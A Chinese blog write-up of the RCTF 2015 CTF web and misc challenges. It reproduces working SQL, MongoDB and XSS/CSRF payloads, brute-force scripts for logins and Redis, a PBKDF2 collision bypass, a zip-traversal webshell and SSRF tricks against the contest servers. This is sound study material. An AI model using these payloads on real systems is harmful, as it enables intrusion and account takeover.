LoRexxar's Blog | 信息技术分享

RCTF2015_writeup

2015/11/17

这次的rctf貌似是第一次举办,而且还是所属xctf,所以出现了好多大牛队伍,题目脑洞大还要强行增加难度(估计出题人已经把能想到的问题全部扔上去了),也不知道是受了什么的刺激,不管怎么样,还是从一大堆注入题目中学习了不少没见过的注入姿势,留下writeup…

WEB

WEB 100 upload (文件名 insert injection)

打开页面是这样的,稍微试试,发现并不是upload,上传成功之后会发现会显示上传的文件名,所以想到应该是insert injection,过滤了and, select, union, from, sleep, benchmark, substring这样的,但是可以通过scrscriptipt这样的方式绕过。
开始尝试的很多方式都没有回显,所以放弃了,后来看到writeup才明白,表中的结构大概是
‘文件名’,’uid’,’uid’
而uid返回的都是数字,所以如果没有在对应的位置的话的确不会出现回显,当然如果强行返回数字,也是可以,但是有个验证码存在,所以需要很长很长时间才能得到flag,不过得到正确的表结构就很简单了。

1
文件名','uid','uid'),((database()),'uid','uid')

按照这样的方式下去,慢慢就能get flag

WEB 150 weeeeeb3 (修改密码逻辑漏洞 ip伪造 上传绕过)


题目是这样的,稍微翻翻发现在修改密码的地方存在两部,第一步判断成功后进入第二步修改密码

在这里可以抓包并修改admin的密码,开始还以为无效,后来发现是登陆的人太多了,所以必须跑脚本才能成功。

登陆上去后,点message提示ip不对,于是去修改xff(X-Forward-For)和ci(Cilet ip),登陆后提示
<!– index.php?module=filemanage&do=???–>
这里一通乱试发现upload成功了,出现了一个上传页面,这里居然还没有结束,好烦只能继续…
随便上传试试,发现什么都没有提示 You know what I want!
既然这样就是是php 提示Something shows it is a php!
后来试了试怎么都过不了<?所以放弃了,看writeup学到个黑科技

(这tm都可以。。。)get flag

WEB 150 easysql (显错注入 花式bypass)

题目登陆后是这样的

发现注册时候加入“后,修改密码报错

一下子了然了,是显错注入,过滤rand @ ` 空格 order /*/ /! */ %20 %09 %0a %0b %0c %0d
也就是传统的显错方式不可以,还过滤了各式各样的空格,所以limit也不能使用,这里先给出payload,后面再另写文章关于显错注入。

1
username=ddog"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=123&email=123

过滤了炒鸡多标签,这次还过滤了大小写和url编码,所以就要找写没有被过滤的特殊标签了,开始想到的是svg,但是basa64编码过的总是出现on被过滤,而且只存在在firefox,而题目要求chrome所以有点儿雪崩,后来看了writeup,知道了link这个黑科技。

1
<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+">

这样就可以弹窗了,翻翻源码,发现是要把消息发给admin,然后以amdin账号注册账号,典型的csrf。

1
2
3
4
5
6
7
8
9
<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->

在writeup中是直接通过jq写个post请求添加

1
2
3
4
5
6
7
<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
type: "post",
url: "",
data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>

然后构造payload

1
<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">

找到admin.php,然后登陆得到flag

WEB 300 login (mongodb注入加不拉不拉一堆坑)


这里直接卡在第一步,虽然听过这样的注入,但是还是没研究过,先贴上关于mongodb注入的资料
http://drops.wooyun.org/tips/3939
跑出账号的脚本长这样(看不懂,先留着)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php 

ini_set("max_execution_time", 100);

echo 'start<br />';
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/checkLogin.php');
curl_setopt ($ch, CURLOPT_HTTPHEADER , array("X-Requested-With: XMLHttpRequest"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);

$ori = '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_';
$str = '';
for ($i=0; $i <40 ; $i++) {
if($i > (strlen($str)+1) )
break;
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'username[$regex]=/^'.$str.$ori[$j].'.*/&password[$ne]=admin';
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 104) {
$str.=$ori[$j];
break;
}
}
}
$username = $str;
$str = '';
for ($i=0; $i <40 ; $i++) {
if($i > (strlen($str)+1) )
break;
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'username='.$username.'&password[$regex]=/^'.$str.$ori[$j].'.*/';

curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 104) {
$str.=$ori[$j];
break;
}
}
}
$password = $str;
echo 'username='.$username."<br />";
echo 'password='.$password."<br />";
echo 'end!';
?>

得到账号密码ROIS_ADMIN pas5woRd_i5_45e2884c4e5b9df49c747e1d
登陆后是这样的

下载备份文件,发现是一个php的解压zip的类,然后百度找到官方提供的,在diff一下
源码里发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
exit($msg);
}

测试发现直接上传zip提示没有权限,然后只有过了上面三个条件才行。主要是第三个条件不好过,然后google一发 pdkdf2 ctf

找到了这个 PBKDF2+HMAC collision 然后在https://mathiasbynens.be/notes/pbkdf2-hmac
这篇文章里面说到这个是可以碰撞的,就是不同的明文会出现相同的密文,然后用里面提供的脚本跑一发。成功跑出来一个

1
2
rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd
3-Rfm^Bq;ZZAcl]mS&eE

然后改一下ua,在cookie里面添加backdoor就可以成功上传了

按照解压出来的文件的命名规则为md5(文件名+RoisFighting).文件的后缀 但是访问http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/051ee28a1964f9f2779d32f2e48212cb/70d08f9380da3a6e0440b3266a2a39f6.php 文件并不存在,测试发现在解压后会直接删除文件,所以我们可以尝试构造一个解压到上级目录的shell

shell地址就是 http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/382aef24b11f8c5222bc58062a9bf5c7.php

后面的反正是看不懂,就都扔上去了

WEB 500 糊上来官方的writeup

1.通过目录猜解1.sql数据备份文件可以知道,admin用户的密码就是admin,username字段长度16,password字段长度32。 通过测试,可以利用长字符截断admin 1(长度大于16),admin 1(长度大于32),绕过admin不能登录的限制。

2.登录后台,是admin的信息,查看源码,根据提示,即通过社工。即要破解某个服务的密码。nmap扫描,得到redis服务的端口。即要爆破redis的密码。

3.写脚本,爆破redis密码,由上面admin的信息内容,通过查找社工库得到gmail的密码是rkr4me,但这不是他真正的密码。结合其他信息,根据关键字写个脚本生成字典。
生成字典脚本

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python

import itertools

fp = open('social.txt','w')
keyword = ['JiaoXiaoMing', 'jiaoxiaoming', 'jxm', 'Jxm', 'JXM', '19960708', '960708', '0708', 'rkr4me']
for i in range(1,9):
for e in itertools.permutations(keyword, i):
st = ''.join(e)
fp.write(st+'\n')
fp.close()

爆破密码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python

import redis

fo = open('social.txt', 'r')
for line in fo.readlines():
line = line.strip('\n').strip()
r = redis.Redis(host='180.76.178.50', port=6379, db=0, password=line)
try:
r.info()
except Exception,e:
#print e
continue
else:
print line
break

最后爆破出来的密码是Jxm0960708rkr4me

4.连上redis,redis getshell需要网站路径。则想办法获取网站路径,网站路径报错没有回显,那就要额外的方法了。网站也没有phpinfo文件,然后通过login.php~备份文件获取到了internal.php这个路径,但是无法访问,根据内部测试系统,可能是限制ip。那通过伪造Client-ip: 127.0.0.1进入了internal.php页面,有个测试接口。

自然想到了csrf,csrf过滤了一些内容,不断调试,构造payload,得到http://a@127.0.0.1.xip.io:80此类的构造,也就是要有xxx@,xip.io:端口,这样才能绕过过滤(前面有些bug,被各路大牛更轻易绕过)。然后通过csrf扫描端口和路径,得到8080端口,payload是这样的http://abc@127.0.0.1.xip.io:8080/index.php
得到里面的部署提示,实际网站部署在he1m4n6a目录下,根据8080首页即phpinfo内容,得到网站真实路径/var/www/rois/he1m4n6a

5.Redis 设置好路径,getshell后,发现无法访问根目录。应该是openbase_dir设置的,那就上传一个文件绕过openbase_dirphp文件,列出更目录所有文件,得到根目录的一个文件名rctf{xxx},便是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php $file_list = array(); 
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f) {
echo file_get_contents({$f});
echo "{$f}<br/>";
}
?>

6.服务器后台自动运行脚本,每隔一段时间会删除无关文件,所以你得写脚本不断上传webshell,或者webshell写入内存中,或者手速快的就好了。。

MISC

MISC 10

360出过的花键盘,没什么意思,还出了几个假flag,实话说这种手段特别无聊,还影响人

MISC 50 日志分析

蛮有意思的题目,开始已经在想是不是要东西,后来发现其实是sqlmap跑密码的日志,根据日志可以分析出flag
http://pan.baidu.com/s/1i3vuGUL(pipo)
附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib

log = open('log_flag.log','r')
log2 = open('log_flag_urldecode2.log','w')

for eachLine in log:
pos = eachLine.find('id=')
result = urllib.unquote(eachLine[pos+3:])
if result.find('!=') != -1:
log2.write(result[result.find('!=')+2:result.find('),S')] + ',')

log.close()
log2.close()

MISC 100 (花式脑洞密文)

http://pan.baidu.com/s/1jG95P90(8flk)

没记错的话打开是张图片,开始以为是有隐写,后来在网上找到了原图,对比发现毛区别都没有,只有在EXIF信息中找到
GMYDGMJTGEZTCMZQGMYDGMJTGEZTAMZRGMYTGMJTGEZTCMZRGMYTGMBTGAZTAMZRGMYDGMJTGEZTCMZRGMYTGMBTGAZTCMZQGMYDGMJTGAZTCMZRGMYTGMBTGEZTCMZRGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMBTGAZTAMZRGMYTGMBTGEZTCMZRGMYDGMJTGEZTCMZQGMYTGMJTGAZTAMZRGMYDGMJTGEZTCMZQGMYTGMBTGEZTAMZQGMYTGMBTGAZTCMZQGMYTGMJTGEZTCMZQGMYDGMBTGEZTCMZRGMYDGMJTGAZTCMZQGMYTGMBTGAZTCMZQGMYDGMJTGAZTCMZRGMYDGMBTGAZTCMZRGMYTGMBTGEZTCMZQGMYTGMBTGAZTCMZQGMYDGMBTGEZTAMZRGMYTGMBTGEZTAMZRGMYTGMJTGAZTCMZQGMYDGMJTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMJTGEZTCMZQGMYDGMBTGEZTAMZQGMYTGMJTGEZTAMZRGMYDGMJTGEZTAMZRGMYDGMJTGAZTCMZRGMYDGMBTGEZTAMZQGMYTGMBTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMJTGAZTAMZRGMYTGMJTGEZTCMZQGMYDGMJTGAZTAMZRGMYDGMJTGAZTAMZQGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMJTGAZTCMZRGMYDGMJTGEZTCMZQGMYDGMJTGAZTAMZRGMYDGMJTGAZTAMZRGMYDGMBTGAZTCMZRGMYTGMJTGAZTCMZQGMYTGMBTGEZTCMZQGMYDGMJTGAZTCMZQGMYDGMBTGAZTCMZQGMYDGMJTGEZTAMZR

开始一直以为是payfair全大写字母加密,后来发现其实是base32,接出来是一对3130.再解一次hex,得到01字符串
0111001101111111000101111100100101110111111011001010001101110111011001011101010010010111100011101010100100101100011101101001000101101011101001010111011001011110001001110101101010110010010010111011100111110010010100011101100101110111011011100100101001000111101010110010100001001101
可惜280位,没办法开方,所以应该不是二维码,想到7位一组,但是因为字符集不可定,所以最后没解出来,最后等等writeup吧

MISC 200

到这一步的misc题目还不知道是干嘛的,所以先放放
http://pan.baidu.com/s/1mgzsu5E(yi4v)

MISC 300

http://pan.baidu.com/s/1bncAdw7(yv6o)

CATALOG
  1. 1. WEB
    1. 1.1. WEB 100 upload (文件名 insert injection)
    2. 1.2. WEB 150 weeeeeb3 (修改密码逻辑漏洞 ip伪造 上传绕过)
    3. 1.3. WEB 150 easysql (显错注入 花式bypass)
    4. 1.4. WEB 300 xss (link 标签黑科技)
    5. 1.5. WEB 300 login (mongodb注入加不拉不拉一堆坑)
    6. 1.6. WEB 500 糊上来官方的writeup
  2. 2. MISC
    1. 2.1. MISC 10
    2. 2.2. MISC 50 日志分析
    3. 2.3. MISC 100 (花式脑洞密文)
    4. 2.4. MISC 200
    5. 2.5. MISC 300